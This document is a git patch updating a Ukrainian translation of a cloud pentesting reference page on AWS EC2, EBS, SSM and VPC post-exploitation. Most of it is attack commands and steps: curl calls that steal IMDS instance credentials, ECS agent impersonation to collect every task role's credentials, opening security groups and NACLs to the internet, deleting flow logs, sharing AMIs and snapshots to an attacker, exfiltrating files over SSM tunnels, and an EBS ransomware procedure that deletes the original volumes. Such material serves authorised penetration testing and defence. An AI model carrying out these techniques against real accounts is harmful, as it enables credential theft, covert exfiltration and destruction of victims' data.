From bf33416434d56f200dbab8ea43fd11c808b611e3 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 13 Jan 2026 15:01:51 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation --- .../README.md | 156 +++++++++--------- 1 file changed, 81 insertions(+), 75 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 90f5eddbb..342e055e2 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -10,12 +10,12 @@ ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### **Зловмисний VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` +### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring **дублює вхідний та вихідний трафік для EC2 інстансів всередині VPC** без необхідності встановлювати будь-що на самі інстанси. Цей дубльований трафік зазвичай надсилається до чогось на кшталт системи виявлення мережевих вторгнень (IDS) для аналізу та моніторингу.\ +VPC traffic mirroring **дублює вхідний та вихідний трафік для EC2 інстансів у VPC** без необхідності встановлювати щось на самі інстанси. Цей дубльований трафік зазвичай відправляють до чогось на зразок мережевої системи виявлення вторгнень (IDS) для аналізу та моніторингу.\ Зловмисник може зловживати цим, щоб перехопити весь трафік і отримати конфіденційну інформацію з нього: -Для отримання додаткової інформації див. цю сторінку: +Для детальнішої інформації див. цю сторінку: {{#ref}} aws-malicious-vpc-mirror.md @@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md ### Copy Running Instance -Інстанси зазвичай містять певну конфіденційну інформацію. Існують різні способи потрапити всередину (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Однак інший спосіб перевірити, що він містить, — **створити AMI і запустити з нього новий інстанс (навіть у власному обліковому записі)**: +Інстанси зазвичай містять певну конфіденційну інформацію. Існують різні способи потрапити всередину (див. [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Однак інший спосіб перевірити, що в ньому міститься — **створити AMI і запустити новий інстанс (навіть у власному акаунті) з нього**: ```shell # List instances aws ec2 describe-images @@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ``` ### EBS Snapshot dump -**Snapshots are backups of volumes**, які зазвичай містять **чутливу інформацію**, тому їх перевірка має розкрити ці дані.\ -Якщо ви знайдете **volume without a snapshot** ви можете: **Create a snapshot** і виконати наведені нижче дії або просто **mount it in an instance** всередині акаунту: +**Snapshots are backups of volumes**, які зазвичай містять **чутливу інформацію**, тому їх перевірка має розкрити цю інформацію.\ +Якщо ви знайдете a **volume without a snapshot** ви можете: **Create a snapshot** і виконати наступні дії або просто **mount it in an instance** в межах акаунта: {{#ref}} aws-ebs-snapshot-dump.md @@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md ### Covert Disk Exfiltration via AMI Store-to-S3 -Експортуйте EC2 AMI безпосередньо в S3 за допомогою `CreateStoreImageTask`, щоб отримати сирий образ диска без snapshot sharing. Це дозволяє виконати повну офлайн-форензіку або крадіжку даних, не змінюючи мережеві налаштування instance. +Експортуйте EC2 AMI напряму в S3 за допомогою `CreateStoreImageTask`, щоб отримати raw disk image без snapshot sharing. Це дозволяє виконати повну офлайн-форензіку або крадіжку даних, залишивши мережу instance недоторканою. {{#ref}} aws-ami-store-s3-exfiltration.md @@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md ### Live Data Theft via EBS Multi-Attach -Підключіть io1/io2 Multi-Attach volume до другої instance і змонтуйте його в режимі read-only, щоб витягти live data без створення snapshot-ів. Корисно, коли victim volume вже має увімкнений Multi-Attach у тій самій AZ. +Прикріпіть io1/io2 Multi-Attach volume до другої instance і змонтуйте його в режимі read-only, щоб викачувати live data без snapshots. Корисно, коли victim volume вже має Multi-Attach увімкнений в межах тієї самої AZ. {{#ref}} aws-ebs-multi-attach-data-theft.md @@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md ### EC2 Instance Connect Endpoint Backdoor -Створіть EC2 Instance Connect Endpoint, авторизуйте ingress та інжектуйте ephemeral SSH keys, щоб отримати доступ до приватних instances через керований тунель. Надає швидкі lateral movement шляхи без відкриття публічних портів. +Створіть EC2 Instance Connect Endpoint, авторизуйте ingress і інжектуйте ephemeral SSH keys для доступу до приватних instances через керований тунель. Надає швидкі шляхи lateral movement без відкриття публічних портів. {{#ref}} aws-ec2-instance-connect-endpoint-backdoor.md @@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md ### EC2 ENI Secondary Private IP Hijack -Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Enables bypassing internal ACLs or SG rules keyed to specific addresses. +Перенесіть secondary private IP victim ENI на attacker-controlled ENI, щоб видавати себе за trusted hosts, які знаходяться в allowlist за IP. Дозволяє обходити внутрішні ACLs або SG правила, прив'язані до конкретних адрес. {{#ref}} aws-eni-secondary-ip-hijack.md @@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md ### Elastic IP Hijack for Ingress/Egress Impersonation -Переасоціюйте Elastic IP з інстансу жертви на інстанс нападника, щоб перехоплювати вхідний трафік або ініціювати вихідні з'єднання, які виглядають як такі, що походять з довірених публічних IP-адрес. +Переасоціюйте Elastic IP з victim instance на attacker, щоб перехоплювати inbound traffic або генерувати outbound connections, які здаються такими, що походять з trusted public IPs. {{#ref}} aws-eip-hijack-impersonation.md @@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md ### Security Group Backdoor via Managed Prefix Lists -Якщо правило security group посилається на customer-managed prefix list, додавання attacker CIDRs до цього списку непомітно розширює доступ для всіх залежних правил SG без зміни самої SG. +Якщо правило security group посилається на customer-managed prefix list, додавання attacker CIDRs до списку непомітно розширює доступ через усі залежні SG правила без зміни самого SG. {{#ref}} aws-managed-prefix-list-backdoor.md @@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md ### VPC Endpoint Egress Bypass -Створіть gateway або interface VPC endpoints, щоб відновити вихідний доступ з ізольованих підмереж. Використання AWS-managed private links дозволяє обходити відсутні IGW/NAT контролі для ексфільтрації даних. +Створіть gateway або interface VPC endpoints, щоб відновити outbound access з ізольованих subnets. Використання AWS-managed private links обходить відсутні IGW/NAT контролі для data exfiltration. {{#ref}} aws-vpc-endpoint-egress-bypass.md @@ -114,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md ### `ec2:AuthorizeSecurityGroupIngress` -Нападник з дозволом ec2:AuthorizeSecurityGroupIngress може додавати inbound правила до security groups (наприклад, дозволити tcp:80 з 0.0.0.0/0), тим самим відкриваючи внутрішні сервіси для публічного Інтернету або для неавторизованих мереж. +Атакувальник з дозволом `ec2:AuthorizeSecurityGroupIngress` може додавати inbound rules до security groups (наприклад, дозволяючи tcp:80 з 0.0.0.0/0), тим самим піддаючи internal services публічному Internet або іншим неавторизованим мережам. ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 ``` # `ec2:ReplaceNetworkAclEntry` -Зловмисник із правами ec2:ReplaceNetworkAclEntry (або подібними) може змінити Network ACLs (NACLs) підмережі, зробивши їх дуже дозволяючими — наприклад, дозволити 0.0.0.0/0 на критичних портах — відкривши весь діапазон підмережі в Інтернет або для неавторизованих мережевих сегментів. На відміну від Security Groups, які застосовуються на рівні інстансу, NACLs застосовуються на рівні підмережі, тому зміна обмежувальної NACL може мати значно більший радіус ураження, дозволяючи доступ до набагато більшої кількості хостів. +Атакуючий із правами ec2:ReplaceNetworkAclEntry (або схожими) може змінити Network ACLs (NACLs) у subnet, зробивши їх дуже дозволяючими — наприклад дозволивши 0.0.0.0/0 на критичних портах — що відкриває весь діапазон subnet в Інтернет або для неавторизованих мережевих сегментів. На відміну від Security Groups, які застосовуються per-instance, NACLs застосовуються на рівні subnet, тому зміна обмежувального NACL може мати значно більший blast radius, дозволяючи доступ до значно більшої кількості hosts. ```bash aws ec2 replace-network-acl-entry \ --network-acl-id \ @@ -131,16 +131,16 @@ aws ec2 replace-network-acl-entry \ ``` ### `ec2:Delete*` -Зловмисник з правами ec2:Delete* та iam:Remove* може видалити критичні ресурси інфраструктури та конфігурації — наприклад key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Це може спричинити негайний збій сервісу, втрату даних та знищення судово-технічних доказів. +Зловмисник, який має дозволи ec2:Delete* та iam:Remove*, може видаляти критично важливі інфраструктурні ресурси та конфігурації — наприклад key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Це може спричинити негайний збій сервісу, втрату даних та утрату судових доказів. -Один приклад — видалення security group: +One example is deleting a security group: aws ec2 delete-security-group \ --group-id ### VPC Flow Logs Cross-Account Exfiltration -Налаштуйте VPC Flow Logs на S3 bucket, контрольований зловмисником, щоб постійно збирати мережеві метадані (source/destination, ports) поза межами облікового запису жертви для тривалого розвідування. +Налаштуйте VPC Flow Logs на запис у S3 bucket, контрольований атакуючим, щоб постійно збирати мережеві метадані (source/destination, ports) за межами облікового запису жертви для довготривалої розвідки. {{#ref}} aws-vpc-flow-logs-cross-account-exfiltration.md @@ -150,17 +150,17 @@ aws-vpc-flow-logs-cross-account-exfiltration.md #### DNS Exfiltration -Навіть якщо ви закрили EC2 так, що жоден трафік не може вийти, він все одно може **exfil via DNS**. +Навіть якщо ви жорстко заблокуєте EC2 так, що трафік не виходить, він все одно може **exfil via DNS**. -- **VPC Flow Logs will not record this**. -- У вас немає доступу до AWS DNS logs. +- **VPC Flow Logs не будуть це записувати**. +- Ви не маєте доступу до AWS DNS logs. - Вимкніть це, встановивши "enableDnsSupport" у false за допомогою: `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` #### Exfiltration via API calls -Зловмисник може викликати API endpoints облікового запису, яким він керує. Cloudtrail зареєструє ці виклики, і зловмисник зможе побачити exfiltrate data у Cloudtrail логах. +Атакуючий може викликати API endpoints облікового запису, яким він контролює. Cloudtrail буде логувати ці виклики, і атакуючий зможе бачити exfiltrate data у Cloudtrail logs. ### Open Security Group @@ -175,43 +175,47 @@ It's possible to run an EC2 instance an register it to be used to run ECS instan For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). -### ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation +### ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape) -Компрометація всередині будь-якого ECS task, що працює на EC2 container instance, зазвичай достатня, щоб переключитися на роль хоста і отримати доступ до IAM ролей, пов’язаних зі всіма іншими task’ами на цьому вузлі. Оскільки для ECS-on-EC2 існує **немає ізоляції task’ів**, кожен task за замовчуванням може звертатись до EC2 Instance Metadata Service (IMDS), викрасти container instance profile і потім говорити тим самим WebSocket протоколом, який використовує ECS agent, до control plane (the **ECScape** primitive), щоб запросити облікові дані для кожного task, який наразі запланований на цьому хості. Latacora документували цю роботу в своєму [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/), яку наступне offensive summary стискає. +На ECS з EC2 launch type контрольна площина приймає на себе кожен task role і передає тимчасові облікові дані агенту ECS через Agent Communication Service (ACS) WebSocket канал. Агент потім надає ці облікові дані контейнерам через task metadata endpoint (169.254.170.2). Дослідження ECScape показує, що якщо контейнер може дістатися до IMDS і вкрасти **instance profile**, він може імітувати агента через ACS і отримати **креденшали кожного task role** на цьому хості, включно з креденшалами **task execution role**, які не видно через metadata endpoint. #### Attack chain -1. **Steal the instance profile from inside the container.** Assume IMDSv2 is required, so request a token and then fetch the profile. +1. **Steal the container instance role from IMDS.** IMDS access is required to obtain the host role used by the ECS agent. ```bash TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") -curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName} +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ +http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName} ``` -2. **Use the container instance role to impersonate the ECS agent.** With those credentials you can speak the undocumented WebSocket channel the ECS agent uses; the control plane trusts you as the real agent and delivers **all task IAM credentials** to your process. You can now run higher-privileged tasks locally, dump task environment secrets, or update services/tasks to redeploy workloads you can fully inspect. +2. **Discover the ACS poll endpoint and required identifiers.** Using the instance role credentials, call `ecs:DiscoverPollEndpoint` to obtain the ACS endpoint and gather identifiers such as the cluster ARN and container instance ARN. The cluster ARN is exposed via task metadata (169.254.170.2/v4/), while the container instance ARN can be obtained via the agent introspection API or (if allowed) `ecs:ListContainerInstances`. +3. **Impersonate the ECS agent over ACS.** Initiate a SigV4-signed WebSocket to the poll endpoint and include `sendCredentials=true`. ECS accepts the connection as a valid agent session and begins streaming `IamRoleCredentials` messages for **all** tasks on the instance. This includes task execution role credentials, which can unlock ECR pulls, Secrets Manager retrievals, or CloudWatch Logs access. + +**Find the PoC in ** #### IMDS reachability with IMDSv2 + hop limit 1 -Налаштування IMDSv2 з `HttpTokens=required` та `HttpPutResponseHopLimit=1` блокує лише ті task’и, що знаходяться за додатковим hop’ом (Docker bridge). Інші мережеві режими залишаються в одному hop’і від Nitro controller і все ще отримують відповіді: +Setting IMDSv2 with `HttpTokens=required` and `HttpPutResponseHopLimit=1` only blocks tasks that live behind an extra hop (Docker bridge). Other networking modes stay within one hop of the Nitro controller and still receive responses: | ECS network mode | IMDS reachable? | Reason | | --- | --- | --- | -| `awsvpc` | ✅ | Each task gets its own ENI that is still one hop away from IMDS, so tokens and metadata responses arrive successfully. | -| `host` | ✅ | Tasks share the host namespace, so they see the same hop distance as the EC2 instance. | -| `bridge` | ❌ | Responses die on the Docker bridge because that extra hop exhausts the hop limit. | +| `awsvpc` | ✅ | Кожен task отримує власний ENI, який все ще знаходиться на відстані одного hop від IMDS, тому токени і відповіді метаданих успішно надходять. | +| `host` | ✅ | Tasks ділять namespace хоста, тож вони бачать ту ж відстань у hop, що й EC2 instance. | +| `bridge` | ❌ | Відповіді гинуть на Docker bridge, бо цей додатковий hop вичерпує ліміт hoppів. | -Отже, **ніколи не припускайте, що hop limit 1 захищає awsvpc або host-mode workload’и** — завжди тестуйте зсередини ваших контейнерів. +Тому **ніколи не припускайте, що hop limit 1 захищає awsvpc або host-mode workloads** — завжди тестуйте зсередини ваших контейнерів. #### Detecting IMDS blocks per network mode -- **awsvpc tasks:** Security groups, NACLs або зміни маршрутизації не можуть заблокувати link-local адресу 169.254.169.254, тому що Nitro інжектить її на хості. Перевірте `/etc/ecs/ecs.config` на наявність `ECS_AWSVPC_BLOCK_IMDS=true`. Якщо прапорець відсутній (за замовчуванням), ви можете curl IMDS безпосередньо з task. Якщо він встановлений, перейдіть у host/agent namespace, щоб відключити його, або запустіть ваші інструменти поза awsvpc. +- **awsvpc tasks:** Security groups, NACLs або зміни у маршрутизації не можуть заблокувати link-local адресу 169.254.169.254, бо Nitro інжектить її на хості. Перевірте `/etc/ecs/ecs.config` на наявність `ECS_AWSVPC_BLOCK_IMDS=true`. Якщо прапорець відсутній (за замовчуванням), ви можете curl IMDS прямо з task. Якщо він встановлений, перейдіть у namespace хоста/агента, щоб переключити його назад, або виконайте свої інструменти поза awsvpc. -- **bridge mode:** Коли запити метаданих падають, навіть якщо hop limit 1 налаштований, захисники, ймовірно, вставили `DOCKER-USER` drop правило типу `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Перелік `iptables -S DOCKER-USER` це виявляє, і доступ до root дозволяє вам видалити або змінити порядок правила перед запитом до IMDS. +- **bridge mode:** Коли запити до metadata не вдаються, навіть якщо hop limit 1 сконфігуровано, захисники ймовірно вставили `DOCKER-USER` drop правило типу `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Перелік `iptables -S DOCKER-USER` це виявляє, а доступ root дозволяє видалити або змінити порядок правила перед опитуванням IMDS. -- **host mode:** Перевірте конфігурацію агента на `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Це налаштування повністю видаляє task IAM ролі, тож вам доведеться або знову ввімкнути його, перейти на awsvpc tasks, або вкрасти облікові дані через інший процес на хості. Коли значення `true` (за замовчуванням), кожен процес у host-mode — включно зі скомпрометованими контейнерами — може дістатися IMDS, якщо тільки спеціальні eBPF/cgroup фільтри не таргетують `169.254.169.254`; шукайте програми tc/eBPF або iptables правила, що посилаються на цю адресу. +- **host mode:** Перевірте конфігурацію агента на `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. Ця опція повністю видаляє task IAM roles, тому вам доведеться або знову її ввімкнути, перейти на awsvpc tasks, або вкрасти креденшали через інший процес на хості. Коли значення `true` (за замовчуванням), будь-який процес у host-mode — включно з компрометованими контейнерами — може звертатися до IMDS, якщо тільки не застосовано спеціальні eBPF/cgroup фільтри на `169.254.169.254`; шукайте tc/eBPF програми або iptables правила, що посилаються на цю адресу. -Latacora навіть опублікували [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening), який можна запустити в цільовому акаунті, щоб перерахувати, які мережеві режими ще відкривають metadata, і спланувати ваш наступний хід відповідно. +Latacora even released [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) you can drop into a target account to enumerate which network modes still expose metadata and plan your next hop accordingly. -Як тільки ви з’ясуєте, які режими відкривають IMDS, ви можете спланувати шлях post-exploitation: таргетити будь-який ECS task, запросити instance profile, підробити агента і зібрати ролі всіх інших task’ів для латерального руху або персистенції в кластері. +Once you understand which modes expose IMDS you can plan your post-exploitation path: target any ECS task, request the instance profile, impersonate the agent, and harvest every other task role for lateral movement or persistence inside the cluster. ### Remove VPC flow logs ```bash @@ -219,68 +223,68 @@ aws ec2 delete-flow-logs --flow-log-ids --region ``` ### SSM Port Forwarding -Required permissions: +Необхідні дозволи: - `ssm:StartSession` -Окрім виконання команд, SSM дозволяє traffic tunneling, який можна зловживати для pivot з EC2 instances, що не мають мережевого доступу через Security Groups або NACLs. -Один із сценаріїв, де це корисно — pivoting з [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) до приватного EKS cluster. +Окрім виконання команд, SSM дозволяє тунелювання трафіку, яке можна використати для pivot з EC2 instances, які не мають мережевого доступу через Security Groups або NACLs. +Один зі сценаріїв, де це корисно, — це pivoting з [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) до приватного EKS кластера. -> Щоб розпочати сесію, потрібен встановлений SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html +> Щоб розпочати сесію, потрібно встановити SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html 1. Встановіть SessionManagerPlugin на вашій машині -2. Увійдіть в Bastion EC2 за допомогою наступної команди: +2. Увійдіть на Bastion EC2 використовуючи наступну команду: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` 3. Отримайте тимчасові облікові дані Bastion EC2 AWS за допомогою скрипта [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) -4. Перенесіть облікові дані на вашу машину у файл `$HOME/.aws/credentials` як профіль `[bastion-ec2]` -5. Увійдіть до EKS як Bastion EC2: +4. Перенесіть облікові дані на власну машину у файл `$HOME/.aws/credentials` як профіль `[bastion-ec2]` +5. Увійдіть у EKS як Bastion EC2: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` -6. Оновіть поле `server` у файлі `$HOME/.kube/config`, щоб вказувати на `https://localhost` -7. Створіть SSM-тунель таким чином: +6. Оновіть поле `server` у файлі `$HOME/.kube/config`, щоб воно вказувало на `https://localhost` +7. Створіть тунель SSM наступним чином: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. Трафік інструмента `kubectl` тепер перенаправляється через SSM tunnel через Bastion EC2, і ви можете отримати доступ до приватного кластера EKS зі своєї машини, виконавши: +8. Трафік інструмента `kubectl` тепер переадресовується через SSM tunnel через Bastion EC2, і ви можете отримати доступ до приватного EKS cluster зі своєї машини, виконавши: ```shell kubectl get pods --insecure-skip-tls-verify ``` -Зауважте, що SSL-з'єднання не вдасться встановити, якщо ви не задасте прапорець `--insecure-skip-tls-verify ` (або його еквівалент у K8s audit tools). Оскільки трафік тунелюється через захищений AWS SSM tunnel, ви захищені від будь-яких MitM-атак. +Зверніть увагу, що SSL-з'єднання не вдасться встановити, якщо ви не вкажете прапорець `--insecure-skip-tls-verify ` (або його еквівалент у K8s audit tools). Оскільки трафік тунелюється через захищений AWS SSM тунель, ви захищені від будь-яких MitM-атак. -Нарешті, ця техніка не є специфічною для атак на приватні EKS кластери. Ви можете вказувати довільні домени й порти для pivot до будь-якого іншого AWS сервісу або власного додатку. +Нарешті, ця техніка не є специфічною лише для атак на приватні EKS кластери. Ви можете вказати довільні домени та порти, щоб pivot до будь-якого іншого AWS сервісу або власного застосунку. --- -#### Швидкий Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession) +#### Швидке локальне ↔️ віддалене перенаправлення портів (AWS-StartPortForwardingSession) -Якщо вам потрібно перенаправити лише один TCP-порт з EC2 instance на ваш локальний хост, ви можете використовувати документ SSM `AWS-StartPortForwardingSession` (параметр remote host не потрібен): +Якщо вам потрібно перенаправити лише **один TCP-порт з EC2 інстансу на ваш локальний хост**, ви можете використати документ SSM `AWS-StartPortForwardingSession` (параметр віддаленого хоста не потрібен): ```bash aws ssm start-session --target i-0123456789abcdef0 \ --document-name AWS-StartPortForwardingSession \ --parameters "portNumber"="8000","localPortNumber"="8000" \ --region ``` -Команда встановлює двонапрямлений тунель між вашою робочою станцією (`localPortNumber`) та обраним портом (`portNumber`) на інстансі **без відкриття будь-яких вхідних правил Security-Group**. +Команда встановлює двосторонній тунель між вашою робочою станцією (`localPortNumber`) і обраним портом (`portNumber`) на інстансі **без відкриття будь-яких inbound Security-Group правил**. -Типові сценарії використання: +Типові випадки використання: * **File exfiltration** -1. На інстансі запустіть простий HTTP server, що вказує на директорію, яку ви хочете exfiltrate: +1. На інстансі запустіть швидкий HTTP сервер, який обслуговуватиме директорію, яку ви хочете exfiltrate: ```bash python3 -m http.server 8000 ``` -2. З вашої робочої станції завантажте файли через SSM tunnel: +2. З вашої робочої станції отримайте файли через тунель SSM: ```bash curl http://localhost:8000/loot.txt -o loot.txt ``` -* **Доступ до внутрішніх веб-застосунків (наприклад, Nessus)** +* **Доступ до внутрішніх веб-додатків (наприклад Nessus)** ```bash # Forward remote Nessus port 8834 to local 8835 aws ssm start-session --target i-0123456789abcdef0 \ @@ -288,28 +292,28 @@ aws ssm start-session --target i-0123456789abcdef0 \ --parameters "portNumber"="8834","localPortNumber"="8835" # Browse to http://localhost:8835 ``` -Порада: стисніть і зашифруйте докази перед їх ексфільтрацією, щоб CloudTrail не реєстрував зміст у відкритому вигляді: +Порада: стисніть і зашифруйте докази перед exfiltrating, щоб CloudTrail не реєстрував незашифрований вміст: ```bash # On the instance 7z a evidence.7z /path/to/files/* -p'Str0ngPass!' ``` -### Поділитися AMI +### Надати доступ до AMI ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` -### Пошук чутливої інформації в публічних та приватних Amazon Machine Images (AMIs) +### Пошук чутливої інформації в публічних та приватних AMIs -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel — інструмент, призначений для **пошуку чутливої інформації в публічних або приватних Amazon Machine Images (AMIs)**. Він автоматизує процес запуску інстансів з цільових AMI, монтування їхніх томів та сканування на наявність потенційних секретів або чутливих даних. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel — інструмент, призначений для **пошуку чутливої інформації в публічних або приватних Amazon Machine Images (AMIs)**. Він автоматизує процес запуску instances з цільових AMIs, монтування їхніх volumes та сканування на наявність потенційних secrets або чутливих даних. -### Спільний доступ до EBS Snapshot +### Поділитися EBS Snapshot ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` ### EBS Ransomware PoC -Доказ концепції, схожий на демонстрацію Ransomware, наведений у примітках про post-exploitation для S3. KMS слід перейменувати на RMS (Ransomware Management Service) через те, наскільки легко ним користуватися для шифрування різних сервісів AWS. +Доказ концепції, подібний до демонстрації Ransomware, наведеної в нотатках щодо S3 post-exploitation. KMS варто перейменувати на RMS (Ransomware Management Service) через те, наскільки легко ним користуватися для шифрування різних AWS сервісів. -Спочатку з 'attacker' AWS акаунта створіть customer managed key у KMS. У цьому прикладі ми просто дозволимо AWS керувати даними ключа за мене, але в реалістичному сценарії зловмисник зберіг би дані ключа поза контролем AWS. Змініть політику ключа, щоб дозволити будь-якому AWS account Principal використовувати цей ключ. У цій політиці ключа ім'я акаунта було 'AttackSim', а правило політики, що дозволяє повний доступ, називається 'Outside Encryption' +Спочатку з 'attacker' AWS облікового запису створіть customer managed key у KMS. У цьому прикладі ми просто дозволимо AWS керувати даними ключа за нас, але в реалістичному сценарії malicious actor залишив би дані ключа поза контролем AWS. Змініть key policy, щоб дозволити будь-якому AWS account Principal використовувати ключ. Для цієї key policy ім'я облікового запису було 'AttackSim', а правило політики, що дозволяє повний доступ, називається 'Outside Encryption'. ``` { "Version": "2012-10-17", @@ -401,7 +405,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ] } ``` -Правило key policy має містити ввімкнені наступні дозволи, щоб мати можливість використовувати його для шифрування EBS тома: +Політика ключа повинна мати увімкненими наступні дозволи, щоб дозволити використання його для шифрування EBS-тома: - `kms:CreateGrant` - `kms:Decrypt` @@ -409,21 +413,21 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Тепер, коли публічно доступний key готовий до використання. Ми можемо використати обліковий запис 'victim', у якому запущено декілька EC2 інстансів з приєднаними нешифрованими EBS томами. Саме EBS томи цього 'victim' акаунта є нашою ціллю для шифрування — ця атака здійснюється за умови компрометації облікового запису з високими привілеями в AWS. +Тепер, маючи публічно доступний ключ для використання. Ми можемо використати 'victim' акаунт, в якому є кілька запущених EC2 інстансів з приєднаними незашифрованими EBS-томами. Саме EBS-томи цього 'victim' акаунту є нашою ціллю для шифрування; ця атака проводиться за припущенням компрометації AWS-акаунту з високими привілеями. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Аналогічно прикладу S3 ransomware. Ця атака створить копії приєднаних EBS томів за допомогою snapshots, використає публічно доступний key з облікового запису 'attacker' для шифрування нових EBS томів, потім відмонтує оригінальні EBS томи з EC2 інстансів і видалить їх, а наприкінці видалить snapshots, які були використані для створення нових зашифрованих EBS томів. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Подібно до S3 ransomware прикладу. Ця атака створить копії приєднаних EBS-томів за допомогою snapshots, використає публічно доступний ключ з 'attacker' акаунту для шифрування нових EBS-томів, потім від'єднає оригінальні EBS-томи від EC2 інстансів та видалить їх, а наприкінці видалить snapshots, які були використані для створення нових зашифрованих EBS-томів. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -В результаті в акаунті залишаться лише зашифровані EBS томи. +В результаті в акаунті залишаться тільки зашифровані EBS-томи. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Також варто зазначити, що скрипт зупинив EC2 інстанси, щоб відчепити і видалити оригінальні EBS томи. Оригінальні нешифровані томи тепер зникли. +Також варто зазначити, що скрипт зупинив EC2 інстанси, щоб від'єднати і видалити оригінальні EBS-томи. Оригінальні незашифровані томи тепер зникли. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -Далі поверніться до key policy в обліковому записі 'attacker' і видаліть правило політики 'Outside Encryption' з key policy. +Далі поверніться до політики ключа в 'attacker' акаунті і видаліть правило політики 'Outside Encryption' з політики ключа. ```json { "Version": "2012-10-17", 